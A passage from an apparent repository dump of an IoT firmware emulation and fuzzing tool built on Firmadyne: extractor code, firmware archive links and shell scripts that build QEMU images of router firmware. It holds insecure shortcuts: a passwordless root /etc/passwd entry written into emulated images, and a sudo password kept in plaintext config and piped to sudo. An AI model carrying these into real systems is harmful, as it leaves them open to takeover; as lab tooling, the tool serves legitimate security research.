this is 629 | # because certain files may appear as e.g. "xz compressed data" but still 630 | # extract into a root filesystem. 631 | def _check_recursive(self, fmt): 632 | """ 633 | Unified implementation for checking both "archive" and "compressed" 634 | items. 635 | """ 636 | desc = None 637 | # perform extraction 638 | for module in binwalk.scan(self.item, "-e", "-r", "-y", fmt, 639 | signature=True, quiet=True): 640 | for entry in module.results: 641 | # skip cpio/initrd files since they should be included with 642 | # kernel 643 | # if "cpio archive" in entry.description: 644 | # self.printf(">> Skipping: cpio: %s" % entry.description) 645 | # self.terminate = True 646 | # return True 647 | desc = entry.description 648 | self.printf(">>>> %s" % entry.description) 649 | break 650 | 651 | if module.extractor.directory: 652 | unix = Extractor.io_find_rootfs(module.extractor.directory) 653 | 654 | # check for extracted filesystem, otherwise update queue 655 | if unix[0]: 656 | self.printf(">>>> Found Linux filesystem in %s!" % unix[1]) 657 | if self.output: 658 | shutil.make_archive(self.output, "gztar", 659 | root_dir=unix[1]) 660 | else: 661 | self.extractor.do_rootfs = False 662 | return True 663 | else: 664 | count = 0 665 | self.printf(">> Recursing into %s ..." % fmt) 666 | for root, _, files in os.walk(module.extractor.directory): 667 | # sort both descending alphabetical and increasing 668 | # length 669 | files.sort() 670 | files.sort(key=len) 671 | 672 | # handle case where original file name is restored; put 673 | # it to front of queue 674 | if desc and "original file name:" in desc: 675 | orig = None 676 | for stmt in desc.split(","): 677 | if "original file name:" in stmt: 678 | orig = stmt.split("\"")[1] 679 | if orig and orig in files: 680 | files.remove(orig) 681 | files.insert(0, orig) 682 | 683 | for filename in files: 684 | if count > ExtractionItem.RECURSION_BREADTH: 685 | self.printf(">> Skipping: recursion breadth %d"\ 686 | % ExtractionItem.RECURSION_BREADTH) 687 | self.terminate = True 688 | return True 689 | else: 690 | new_item = ExtractionItem(self.extractor, 691 | os.path.join(root, 692 | filename), 693 | self.depth + 1, 694 | self.tag) 695 | if new_item.extract(): 696 | # check that we are actually done before 697 | # performing early termination. for example, 698 | # we might decide to skip on one subitem, 699 | # but we still haven't finished 700 | if self.update_status(): 701 | return True 702 | count += 1 703 | return False 704 | 705 | def main(): 706 | parser = argparse.ArgumentParser(description="Extracts filesystem and \ 707 | kernel from Linux-based firmware images") 708 | parser.add_argument("input", action="store", help="Input file or directory") 709 | parser.add_argument("output", action="store", nargs="?", default="images", 710 | help="Output directory for extracted firmware") 711 | parser.add_argument("-sql ", dest="sql", action="store", default=None, 712 | help="Hostname of SQL server") 713 | parser.add_argument("-nf", dest="rootfs", action="store_false", 714 | default=True, help="Disable extraction of root \ 715 | filesystem (may decrease extraction time)") 716 | parser.add_argument("-nk", dest="kernel", action="store_false", 717 | default=True, help="Disable extraction of kernel \ 718 | (may decrease extraction time)") 719 | parser.add_argument("-np", dest="parallel", action="store_false", 720 | default=True, help="Disable parallel operation \ 721 | (may increase extraction time)") 722 | parser.add_argument("-b", dest="brand", action="store", default=None, 723 | help="Brand of the firmware image") 724 | result = parser.parse_args() 725 | 726 | extract = Extractor(result.input, result.output, result.rootfs, 727 | result.kernel, result.parallel, result.sql, 728 | result.brand) 729 | extract.extract() 730 | 731 | if __name__ == "__main__": 732 | main() 733 | -------------------------------------------------------------------------------- /Emulation/firmware/DAP-2695_REVA_FIRMWARE_1.11.RC044.ZIP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/DAP-2695_REVA_FIRMWARE_1.11.RC044.ZIP -------------------------------------------------------------------------------- /Emulation/firmware/DIR-815_FIRMWARE_1.01.ZIP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/DIR-815_FIRMWARE_1.01.ZIP -------------------------------------------------------------------------------- /Emulation/firmware/DIR-817LW_REVA_FIRMWARE_1.00B05.ZIP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/DIR-817LW_REVA_FIRMWARE_1.00B05.ZIP -------------------------------------------------------------------------------- /Emulation/firmware/DIR-850L_FIRMWARE_1.03.ZIP: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/DIR-850L_FIRMWARE_1.03.ZIP -------------------------------------------------------------------------------- /Emulation/firmware/DSL-3782_A1_EU_1.01_07282016.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/DSL-3782_A1_EU_1.01_07282016.zip -------------------------------------------------------------------------------- /Emulation/firmware/TL-WR940N(US)_V4_160617_1476690524248q.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/TL-WR940N(US)_V4_160617_1476690524248q.zip -------------------------------------------------------------------------------- /Emulation/firmware/WNAP320_V3.0.5.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/WNAP320_V3.0.5.0.zip -------------------------------------------------------------------------------- /Emulation/firmware/_FW_TEW-813DRU_v1(1.00B23).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/_FW_TEW-813DRU_v1(1.00B23).zip -------------------------------------------------------------------------------- /Emulation/firmware/fw_tv-ip110wn_v2(1.2.2.68).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yinfeidi/Firmware-fuzz-tool/0168ab6820355d3a81f1a16ccb1798acf8af25ca/Emulation/firmware/fw_tv-ip110wn_v2(1.2.2.68).zip -------------------------------------------------------------------------------- /Emulation/kernelinfo.conf: -------------------------------------------------------------------------------- 1 | [mips] 2 | name = 2.6.39.4+|#1 Fri Dec 11 20:11:00 PST 2020|mips 3 | version.a = 2 4 | version.b = 6 5 | version.c = 39 6 | #arch = mips 7 | task.per_cpu_offsets_addr = 0 8 | task.per_cpu_offset_0_addr = 0 9 | task.current_task_addr = 2154662400 10 | task.init_addr = 2154662400 11 | #task.per_cpu_offsets_addr = 0 12 | #task.per_cpu_offset_0_addr = 0x0 13 | #task.current_task_addr = 0x806d8a00 14 | #task.init_addr = 0x806d8a00 15 | task.size = 1112 16 | task.tasks_offset = 156 17 | task.pid_offset = 196 18 | task.tgid_offset = 200 19 | task.group_leader_offset = 228 20 | task.thread_group_offset = 284 21 | task.real_parent_offset = 204 22 | task.parent_offset = 208 23 | task.mm_offset = 164 24 | task.stack_offset = 4 25 | task.real_cred_offset = 408 26 | task.cred_offset = 412 27 | task.comm_offset = 420 28 | task.comm_size = 16 29 | task.files_offset = 852 30 | task.start_time_offset = 340 31 | cred.uid_offset = 4 32 | cred.gid_offset = 8 33 | cred.euid_offset = 20 34 | cred.egid_offset = 24 35 | mm.size = 380 36 | mm.mmap_offset = 0 37 | mm.pgd_offset = 36 38 | mm.arg_start_offset = 140 39 | mm.start_brk_offset = 128 40 | mm.brk_offset = 132 41 | mm.start_stack_offset = 136 42 | vma.size = 88 43 | vma.vm_mm_offset = 0 44 | vma.vm_start_offset = 4 45 | vma.vm_end_offset = 8 46 | vma.vm_next_offset = 12 47 | vma.vm_flags_offset = 24 48 | vma.vm_file_offset = 76 49 | fs.f_path_dentry_offset = 12 50 | fs.f_path_mnt_offset = 8 51 | fs.f_pos_offset = 32 52 | fs.fdt_offset = 4 53 | fs.fdtab_offset = 8 54 | fs.fd_offset = 4 55 | qstr.size = 12 56 | qstr.name_offset = 8 57 | path.d_name_offset = 20 58 | path.d_iname_offset = 36 59 | path.d_parent_offset = 16 60 | path.d_op_offset = 80 61 | path.d_dname_offset = 24 62 | path.mnt_root_offset = 16 63 | path.mnt_parent_offset = 8 64 | path.mnt_mountpoint_offset = 12 65 | -------------------------------------------------------------------------------- /Emulation/reset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import pexpect 4 | import os.path 5 | from configparser import ConfigParser 6 | 7 | config = ConfigParser() 8 | config.read("emu.config") 9 | firmadyne_path = config["DEFAULT"].get("path", "") 10 | sudo_pass = config["DEFAULT"].get("sudo_password", "") 11 | 12 | print ("[+] Cleaning previous images and created files by firmadyne") 13 | child = pexpect.spawn("/bin/sh" , ["-c", "sudo rm -rf " + os.path.join(firmadyne_path, "images/*.tar.gz")]) 14 | child.sendline(sudo_pass) 15 | child.expect_exact(pexpect.EOF) 16 | 17 | child = pexpect.spawn("/bin/sh", ["-c", "sudo rm -rf " + os.path.join(firmadyne_path, "scratch/*")]) 18 | child.sendline(sudo_pass) 19 | child.expect_exact(pexpect.EOF) 20 | print ("[+] All done. Go ahead and run emu.py to continue firmware analysis") 21 | -------------------------------------------------------------------------------- /Emulation/scripts/ci_file: -------------------------------------------------------------------------------- 1 | HERE BE DRAGONS 2 | -------------------------------------------------------------------------------- /Emulation/scripts/delete.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -e ./firmadyne.config ]; then 4 | source ./firmadyne.config 5 | elif [ -e ../firmadyne.config ]; then 6 | source ../firmadyne.config 7 | else 8 | echo "Error: Could not find 'firmadyne.config'!" 9 | exit 1 10 | fi 11 | 12 | if check_number $1; then 13 | echo "Usage: $0 " 14 | echo "This script deletes a whole project" 15 | exit 1 16 | fi 17 | IID=${1} 18 | 19 | #Check that no qemu is running: 20 | echo "checking the process table for a running qemu instance ..." 21 | PID=`ps -ef | grep qemu | grep "${IID}" | grep -v grep | awk '{print $2}'` 22 | if ! [ -z $PID ]; then 23 | echo "killing process ${PID}" 24 | sudo kill -9 ${PID} 25 | fi 26 | 27 | PID1=`ps -ef | grep "${IID}\/run.sh" | grep -v grep | awk '{print $2}'` 28 | if ! [ -z $PID1 ]; then 29 | echo "killing process ${PID1}" 30 | sudo kill ${PID1} 31 | fi 32 | 33 | #Check that nothing is mounted: 34 | echo "In case the filesystem is mounted, umount it now ..." 35 | sudo ./scripts/umount.sh ${IID} 36 | 37 | #Check network config 38 | echo "In case the network is configured, reconfigure it now ..." 39 | for i in 0 .. 4; do 40 | sudo ifconfig tap${IID}_${i} down 41 | sudo tunctl -d tap${IID}_${i} 42 | done 43 | 44 | #Cleanup database: 45 | echo "Remove the database entries ..." 46 | psql -d firmware -U firmadyne -h 127.0.0.1 -t -q -c "DELETE from image WHERE id=${IID};" 47 | 48 | #Cleanup filesystem: 49 | echo "Clean up the file system ..." 50 | if [ -f "/tmp/qemu.${IID}*" ]; then 51 | sudo rm /tmp/qemu.${IID}* 52 | fi 53 | 54 | if [ -f ./images/${IID}.tar.gz ]; then 55 | sudo rm ./images/${IID}.tar.gz 56 | fi 57 | 58 | if [ -f ./images/${IID}.kernel ]; then 59 | sudo rm ./images/${IID}.kernel 60 | fi 61 | 62 | if [ -d ./scratch/${IID}/ ]; then 63 | sudo rm -r ./scratch/${IID}/ 64 | fi 65 | 66 | echo "Done. Removed project ID ${IID}." 67 | -------------------------------------------------------------------------------- /Emulation/scripts/env.config: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #The paths of the directories are specified here 3 | 4 | ROOT_DIR="$HOME" 5 | 6 | HOME_DIR="$ROOT_DIR/Desktop/IOT-fuzz/Emulation" 7 | 8 | export EMU_DIR=$HOME_DIR 9 | 10 | export WORK_DIR="$HOME_DIR/scratch" 11 | 12 | export KERNEL_DIR="$HOME_DIR/source/Kernel-mips/build" 13 | 14 | export KERNEL_DIR_ARMEL="$HOME_DIR/source/Kernel-armel/build" 15 | 16 | export LIB_DIR="$HOME_DIR/source/LIB" 17 | 18 | export SCRIPT_DIR="$HOME_DIR/scripts" 19 | 20 | export TARBALL_DIR="$HOME_DIR/images" 21 | 22 | 23 | add_partition(){ 24 | kpartx_out="$(kpartx -a -s -v "${1}")" 25 | DEVICE="$(echo $kpartx_out | cut -d ' ' -f 3)" 26 | DEVICE="/dev/mapper/$DEVICE" 27 | echo $DEVICE 28 | } 29 | 30 | del_partition () { 31 | kpartx -d ${1} 32 | } 33 | -------------------------------------------------------------------------------- /Emulation/scripts/fixImage.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # use busybox statically-compiled version of all binaries 4 | BUSYBOX="/busybox" 5 | 6 | # print input if not symlink, otherwise attempt to resolve symlink 7 | resolve_link() { 8 | TARGET=$($BUSYBOX readlink $1) 9 | if [ -z "$TARGET" ]; then 10 | echo "$1" 11 | fi 12 | echo "$TARGET" 13 | } 14 | 15 | # make /etc and add some essential files 16 | mkdir -p "$(resolve_link /etc)" 17 | if [ ! -s /etc/TZ ]; then 18 | echo "Creating /etc/TZ!" 19 | mkdir -p "$(dirname $(resolve_link /etc/TZ))" 20 | echo "EST5EDT" > "$(resolve_link /etc/TZ)" 21 | fi 22 | 23 | if [ ! -s /etc/hosts ]; then 24 | echo "Creating /etc/hosts!" 25 | mkdir -p "$(dirname $(resolve_link /etc/hosts))" 26 | echo "127.0.0.1 localhost" > "$(resolve_link /etc/hosts)" 27 | fi 28 | 29 | if [ ! -s /etc/passwd ]; then 30 | echo "Creating /etc/passwd!" 31 | mkdir -p "$(dirname $(resolve_link /etc/passwd))" 32 | echo "root::0:0:root:/root:/bin/sh" > "$(resolve_link /etc/passwd)" 33 | fi 34 | 35 | # make /dev and add default device nodes if current /dev does not have greater 36 | # than 5 device nodes 37 | mkdir -p "$(resolve_link /dev)" 38 | FILECOUNT="$($BUSYBOX find ${WORKDIR}/dev -maxdepth 1 -type b -o -type c -print | $BUSYBOX wc -l)" 39 | if [ $FILECOUNT -lt "5" ]; then 40 | echo "Warning: Recreating device nodes!" 41 | 42 | mknod -m 660 /dev/mem c 1 1 43 | mknod -m 640 /dev/kmem c 1 2 44 | mknod -m 666 /dev/null c 1 3 45 | mknod -m 666 /dev/zero c 1 5 46 | mknod -m 444 /dev/random c 1 8 47 | mknod -m 444 /dev/urandom c 1 9 48 | mknod -m 666 /dev/armem c 1 13 49 | 50 | mknod -m 666 /dev/tty c 5 0 51 | mknod -m 622 /dev/console c 5 1 52 | mknod -m 666 /dev/ptmx c 5 2 53 | 54 | mknod -m 622 /dev/tty0 c 4 0 55 | mknod -m 660 /dev/ttyS0 c 4 64 56 | mknod -m 660 /dev/ttyS1 c 4 65 57 | mknod -m 660 /dev/ttyS2 c 4 66 58 | mknod -m 660 /dev/ttyS3 c 4 67 59 | 60 | mknod -m 644 /dev/adsl0 c 100 0 61 | mknod -m 644 /dev/ppp c 108 0 62 | mknod -m 666 /dev/hidraw0 c 251 0 63 | 64 | mkdir -p /dev/mtd 65 | mknod -m 644 /dev/mtd/0 c 90 0 66 | mknod -m 644 /dev/mtd/1 c 90 2 67 | mknod -m 644 /dev/mtd/2 c 90 4 68 | mknod -m 644 /dev/mtd/3 c 90 6 69 | mknod -m 644 /dev/mtd/4 c 90 8 70 | mknod -m 644 /dev/mtd/5 c 90 10 71 | mknod -m 644 /dev/mtd/6 c 90 12 72 | mknod -m 644 /dev/mtd/7 c 90 14 73 | mknod -m 644 /dev/mtd/8 c 90 16 74 | mknod -m 644 /dev/mtd/9 c 90 18 75 | mknod -m 644 /dev/mtd/10 c 90 20 76 | 77 | mknod -m 644 /dev/mtd0 c 90 0 78 | mknod -m 644 /dev/mtdr0 c 90 1 79 | mknod -m 644 /dev/mtd1 c 90 2 80 | mknod -m 644 /dev/mtdr1 c 90 3 81 | mknod -m 644 /dev/mtd2 c 90 4 82 | mknod -m 644 /dev/mtdr2 c 90 5 83 | mknod -m 644 /dev/mtd3 c 90 6 84 | mknod -m 644 /dev/mtdr3 c 90 7 85 | mknod -m 644 /dev/mtd4 c 90 8 86 | mknod -m 644 /dev/mtdr4 c 90 9 87 | mknod -m 644 /dev/mtd5 c 90 10 88 | mknod -m 644 /dev/mtdr5 c 90 11 89 | mknod -m 644 /dev/mtd6 c 90 12 90 | mknod -m 644 /dev/mtdr6 c 90 13 91 | mknod -m 644 /dev/mtd7 c 90 14 92 | mknod -m 644 /dev/mtdr7 c 90 15 93 | mknod -m 644 /dev/mtd8 c 90 16 94 | mknod -m 644 /dev/mtdr8 c 90 17 95 | mknod -m 644 /dev/mtd9 c 90 18 96 | mknod -m 644 /dev/mtdr9 c 90 19 97 | mknod -m 644 /dev/mtd10 c 90 20 98 | mknod -m 644 /dev/mtdr10 c 90 21 99 | 100 | mkdir -p /dev/mtdblock 101 | mknod -m 644 /dev/mtdblock/0 b 31 0 102 | mknod -m 644 /dev/mtdblock/1 b 31 1 103 | mknod -m 644 /dev/mtdblock/2 b 31 2 104 | mknod -m 644 /dev/mtdblock/3 b 31 3 105 | mknod -m 644 /dev/mtdblock/4 b 31 4 106 | mknod -m 644 /dev/mtdblock/5 b 31 5 107 | mknod -m 644 /dev/mtdblock/6 b 31 6 108 | mknod -m 644 /dev/mtdblock/7 b 31 7 109 | mknod -m 644 /dev/mtdblock/8 b 31 8 110 | mknod -m 644 /dev/mtdblock/9 b 31 9 111 | mknod -m 644 /dev/mtdblock/10 b 31 10 112 | 113 | mknod -m 644 /dev/mtdblock0 b 31 0 114 | mknod -m 644 /dev/mtdblock1 b 31 1 115 | mknod -m 644 /dev/mtdblock2 b 31 2 116 | mknod -m 644 /dev/mtdblock3 b 31 3 117 | mknod -m 644 /dev/mtdblock4 b 31 4 118 | mknod -m 644 /dev/mtdblock5 b 31 5 119 | mknod -m 644 /dev/mtdblock6 b 31 6 120 | mknod -m 644 /dev/mtdblock7 b 31 7 121 | mknod -m 644 /dev/mtdblock8 b 31 8 122 | mknod -m 644 /dev/mtdblock9 b 31 9 123 | mknod -m 644 /dev/mtdblock10 b 31 10 124 | 125 | mkdir -p /dev/tts 126 | mknod -m 660 /dev/tts/0 c 4 64 127 | mknod -m 660 /dev/tts/1 c 4 65 128 | mknod -m 660 /dev/tts/2 c 4 66 129 | mknod -m 660 /dev/tts/3 c 4 67 130 | fi 131 | 132 | # create a gpio file required for linksys to make the watchdog happy 133 | if ($BUSYBOX grep -sq "/dev/gpio/in" /bin/gpio) || 134 | ($BUSYBOX grep -sq "/dev/gpio/in" /usr/lib/libcm.so) || 135 | ($BUSYBOX grep -sq "/dev/gpio/in" /usr/lib/libshared.so); then 136 | echo "Creating /dev/gpio/in!" 137 | mkdir -p /dev/gpio 138 | echo -ne "\xff\xff\xff\xff" > /dev/gpio/in 139 | fi 140 | 141 | # prevent system from rebooting 142 | #echo "Removing /sbin/reboot!" 143 | #rm -f /sbin/reboot 144 | echo "Removing /etc/scripts/sys_resetbutton!" 145 | rm -f /etc/scripts/sys_resetbutton 146 | 147 | # add some default nvram entries 148 | if $BUSYBOX grep -sq "ipv6_6to4_lan_ip" /sbin/rc; then 149 | echo "Creating default ipv6_6to4_lan_ip!" 150 | echo -n "2002:7f00:0001::" > /firmadyne/libnvram.override/ipv6_6to4_lan_ip 151 | fi 152 | 153 | if $BUSYBOX grep -sq "time_zone_x" /lib/libacos_shared.so; then 154 | echo "Creating default time_zone_x!" 155 | echo -n "0" > /firmadyne/libnvram.override/time_zone_x 156 | fi 157 | 158 | if $BUSYBOX grep -sq "rip_multicast" /usr/sbin/httpd; then 159 | echo "Creating default rip_multicast!" 160 | echo -n "0" > /firmadyne/libnvram.override/rip_multicast 161 | fi 162 | 163 | if $BUSYBOX grep -sq "bs_trustedip_enable" /usr/sbin/httpd; then 164 | echo "Creating default bs_trustedip_enable!" 165 | echo -n "0" > /firmadyne/libnvram.override/bs_trustedip_enable 166 | fi 167 | 168 | if $BUSYBOX grep -sq "filter_rule_tbl" /usr/sbin/httpd; then 169 | echo "Creating default filter_rule_tbl!" 170 | echo -n "" > /firmadyne/libnvram.override/filter_rule_tbl 171 | fi 172 | 173 | if $BUSYBOX grep -sq "rip_enable" /sbin/acos_service; then 174 | echo "Creating default rip_enable!" 175 | echo -n "0" > /firmadyne/libnvram.override/rip_enable 176 | fi 177 | -------------------------------------------------------------------------------- /Emulation/scripts/getArch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | 6 | 7 | function getArch() { 8 | if (echo ${FILETYPE} | grep -q "MIPS64") 9 | then 10 | ARCH="mips64" 11 | elif (echo ${FILETYPE} | grep -q "MIPS") 12 | then 13 | ARCH="mips" 14 | elif (echo ${FILETYPE} | grep -q "ARM64") 15 | then 16 | ARCH="arm64" 17 | elif (echo ${FILETYPE} | grep -q "ARM") 18 | then 19 | ARCH="arm" 20 | elif (echo ${FILETYPE} | grep -q "Intel 80386") 21 | then 22 | ARCH="intel" 23 | elif (echo ${FILETYPE} | grep -q "x86-64") 24 | then 25 | ARCH="intel64" 26 | elif (echo ${FILETYPE} | grep -q "PowerPC") 27 | then 28 | ARCH="ppc" 29 | else 30 | ARCH="" 31 | fi 32 | } 33 | 34 | function getEndian() { 35 | if (echo ${FILETYPE} | grep -q "LSB") 36 | then 37 | END="el" 38 | elif (echo ${FILETYPE} | grep -q "MSB") 39 | then 40 | END="eb" 41 | else 42 | END="" 43 | fi 44 | } 45 | 46 | INFILE=${1} 47 | BASE=$(basename "$1") 48 | IID=${BASE%.tar.gz} 49 | 50 | mkdir -p "/tmp/${IID}" 51 | 52 | set +e 53 | FILES="$(tar -tf $INFILE | grep -e "/busybox\$") " 54 | FILES+="$(tar -tf $INFILE | grep -E "/sbin/[[:alpha:]]+")" 55 | FILES+="$(tar -tf $INFILE | grep -E "/bin/[[:alpha:]]+")" 56 | set -e 57 | 58 | for TARGET in ${FILES} 59 | do 60 | SKIP=$(echo "${TARGET}" | fgrep -o / | wc -l) 61 | tar -xf "${INFILE}" -C "/tmp/${IID}/" --strip-components=${SKIP} ${TARGET} 62 | TARGETLOC="/tmp/$IID/${TARGET##*/}" 63 | 64 | if [ -h ${TARGETLOC} ] || [ ! -f ${TARGETLOC} ] 65 | then 66 | continue 67 | fi 68 | 69 | FILETYPE=$(file ${TARGETLOC}) 70 | 71 | echo -n "${TARGET}: " 72 | getArch 73 | getEndian 74 | 75 | if [ -n "${ARCH}" ] && [ -n "${END}" ] 76 | then 77 | # ARCHEND=${ARCH}${END} 78 | # echo ${ARCHEND} 79 | 80 | # ####psql -d firmware -U firmadyne -h 127.0.0.1 -q -c "UPDATE image SET arch = '$ARCHEND' WHERE id = $IID;" 81 | 82 | # rm -fr "/tmp/${IID}" 83 | # exit 0 84 | # else 85 | echo -n ${ARCH} 86 | echo ${END} 87 | fi 88 | done 89 | 90 | rm -fr "/tmp/${IID}" 91 | 92 | exit 1 93 | -------------------------------------------------------------------------------- /Emulation/scripts/inferNetwork.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | source scripts/env.config 6 | 7 | 8 | 9 | IID=${1} 10 | ARCH=${2} 11 | 12 | WORK_DIR="${WORK_DIR}/${IID}" 13 | 14 | # cd ${WORK_DIR} 15 | # qemu-img convert -f raw -O qcow2 image.raw image.qcow2 16 | # cd - 17 | if [ "$ARCH" == "mipseb" ]; then 18 | cp "${KERNEL_DIR}/${ARCH}/vmlinux" "${WORK_DIR}/vmlinux" 19 | chmod a+x "${WORK_DIR}/vmlinux" 20 | elif [ "$ARCH" == "mipsel" ]; then 21 | cp "${KERNEL_DIR}/${ARCH}/vmlinux" "${WORK_DIR}/vmlinux" 22 | chmod a+x "${WORK_DIR}/vmlinux" 23 | elif [ "$ARCH" == "armel" ]; then 24 | cp "${KERNEL_DIR_ARMEL}/${ARCH}/arch/arm/boot/zImage" "${WORK_DIR}/zImage" 25 | chmod a+x "${WORK_DIR}/zImage" 26 | else 27 | echo "Unsupported architecture" 28 | fi 29 | 30 | echo "Running firmware ${IID}: terminating after 60 secs..." 31 | timeout --preserve-status --signal SIGINT 60 "${SCRIPT_DIR}/run.${ARCH}.sh" "${IID}" "${ARCH}" 32 | sleep 1 33 | 34 | echo "Inferring network..." 35 | "${SCRIPT_DIR}/makeNetwork.py" -i "${IID}" -q -o -a "${ARCH}" -S "${WORK_DIR}" 36 | 37 | echo "Done!" 38 | -------------------------------------------------------------------------------- /Emulation/scripts/makeImage.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -u 5 | source scripts/env.config 6 | 7 | 8 | IID=${1} 9 | ARCH=${2} 10 | 11 | 12 | echo "----Running----" 13 | WORK_DIR="${WORK_DIR}/${IID}" 14 | IMAGE="${WORK_DIR}/image.raw" 15 | IMAGE_DIR="${WORK_DIR}/image" 16 | 17 | LIBNVRAM="${LIB_DIR}/libnvram.so.${ARCH}" 18 | CONSOLE="${LIB_DIR}/console.${ARCH}" 19 | 20 | echo "----Copying Filesystem Tarball----" 21 | mkdir -p "${WORK_DIR}" 22 | chmod a+rwx "${WORK_DIR}" 23 | chown -R "${USER}" "${WORK_DIR}" 24 | chgrp -R "${USER}" "${WORK_DIR}" 25 | 26 | if [ ! -e "${WORK_DIR}/${IID}.tar.gz" ]; then 27 | if [ ! -e "${TARBALL_DIR}/${IID}.tar.gz" ]; then 28 | echo "Error: Cannot find tarball of root filesystem for ${IID}!" 29 | exit 1 30 | else 31 | cp "${TARBALL_DIR}/${IID}.tar.gz" "${WORK_DIR}/${IID}.tar.gz" 32 | fi 33 | fi 34 | 35 | echo "----Creating QEMU Image----" 36 | qemu-img create -f raw "${IMAGE}" 1G 37 | chmod a+rw "${IMAGE}" 38 | 39 | echo "----Creating Partition Table----" 40 | echo -e "o\nn\np\n1\n\n\nw" | /sbin/fdisk "${IMAGE}" 41 | 42 | echo "----Mounting QEMU Image----" 43 | DEVICE=`add_partition ${IMAGE}` 44 | echo $DEVICE 45 | sleep 1 46 | 47 | echo "----Creating Filesystem----" 48 | mkfs.ext2 "${DEVICE}" 49 | sync 50 | 51 | echo "----Making QEMU Image Mountpoint----" 52 | if [ ! -e "${IMAGE_DIR}" ]; then 53 | mkdir "${IMAGE_DIR}" 54 | chown "${USER}" "${IMAGE_DIR}" 55 | fi 56 | 57 | echo "----Mounting QEMU Image Partition 1----" 58 | mount "${DEVICE}" "${IMAGE_DIR}" 59 | 60 | echo "----Extracting Filesystem Tarball----" 61 | tar -xf "${WORK_DIR}/$IID.tar.gz" -C "${IMAGE_DIR}" 62 | rm "${WORK_DIR}/${IID}.tar.gz" 63 | 64 | echo "----Creating FIRMADYNE Directories----" 65 | mkdir "${IMAGE_DIR}/firmadyne/" 66 | mkdir "${IMAGE_DIR}/firmadyne/libnvram/" 67 | mkdir "${IMAGE_DIR}/firmadyne/libnvram.override/" 68 | 69 | echo "----Adding CI files----" 70 | cp "${SCRIPT_DIR}/test_${ARCH}" "${IMAGE_DIR}/test" 71 | cp "${SCRIPT_DIR}/ci_file" "${IMAGE_DIR}/" 72 | 73 | echo "----Patching Filesystem (chroot)----" 74 | cp $(which busybox) "${IMAGE_DIR}" 75 | cp "${SCRIPT_DIR}/fixImage.sh" "${IMAGE_DIR}" 76 | chroot "${IMAGE_DIR}" /busybox ash /fixImage.sh 77 | rm "${IMAGE_DIR}/fixImage.sh" 78 | rm "${IMAGE_DIR}/busybox" 79 | 80 | echo "----Setting up FIRMADYNE----" 81 | cp "${CONSOLE}" "${IMAGE_DIR}/firmadyne/console" 82 | chmod a+x "${IMAGE_DIR}/firmadyne/console" 83 | mknod -m 666 "${IMAGE_DIR}/firmadyne/ttyS1" c 4 65 84 | 85 | cp "${LIBNVRAM}" "${IMAGE_DIR}/firmadyne/libnvram.so" 86 | chmod a+x "${IMAGE_DIR}/firmadyne/libnvram.so" 87 | 88 | cp "${SCRIPT_DIR}/preInit.sh" "${IMAGE_DIR}/firmadyne/preInit.sh" 89 | chmod a+x "${IMAGE_DIR}/firmadyne/preInit.sh" 90 | 91 | # cp -r "${IMAGE_DIR}" "${EMU_DIR}/image_${IID}" 92 | 93 | 94 | 95 | 96 | echo "----Unmounting QEMU Image----" 97 | sync 98 | umount "${DEVICE}" 99 | del_partition ${IMAGE} 100 | 101 | -------------------------------------------------------------------------------- /Emulation/scripts/makeNetwork.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import getopt 5 | import re 6 | import struct 7 | import socket 8 | import stat 9 | import os 10 | 11 | debug = 0 12 | 13 | QEMUCMDTEMPLATE = """#!/bin/bash 14 | 15 | set -u 16 | 17 | ARCH="%(ARCHEND)s" 18 | set -u 19 | IID=%(IID)i 20 | %(START_NET)s 21 | 22 | function cleanup { 23 | pkill -P $$ 24 | %(STOP_NET)s 25 | } 26 | 27 | trap cleanup EXIT 28 | 29 | echo "Starting firmware emulation... use Ctrl-a + x to exit" 30 | sleep 1s 31 | 32 | %(QEMU_ENV_VARS)s %(QEMU)s -m 256 -M %(MACHINE)s -kernel %(KERNEL)s \\ 33 | %(QEMU_DISK)s -append "root=%(QEMU_ROOTFS)s console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0" \\ 34 | -nographic \\ 35 | %(QEMU_NETWORK)s | tee qemu.final.serial.log 36 | """ 37 | 38 | def stripTimestamps(data): 39 | lines = data.split("\n") 40 | #throw out the timestamps 41 | lines = [re.sub(r"^\[[^\]]*\] firmadyne: ", "", l) for l in lines] 42 | return lines 43 | 44 | def findMacChanges(data, endianness): 45 | lines = stripTimestamps(data) 46 | candidates = filter(lambda l: 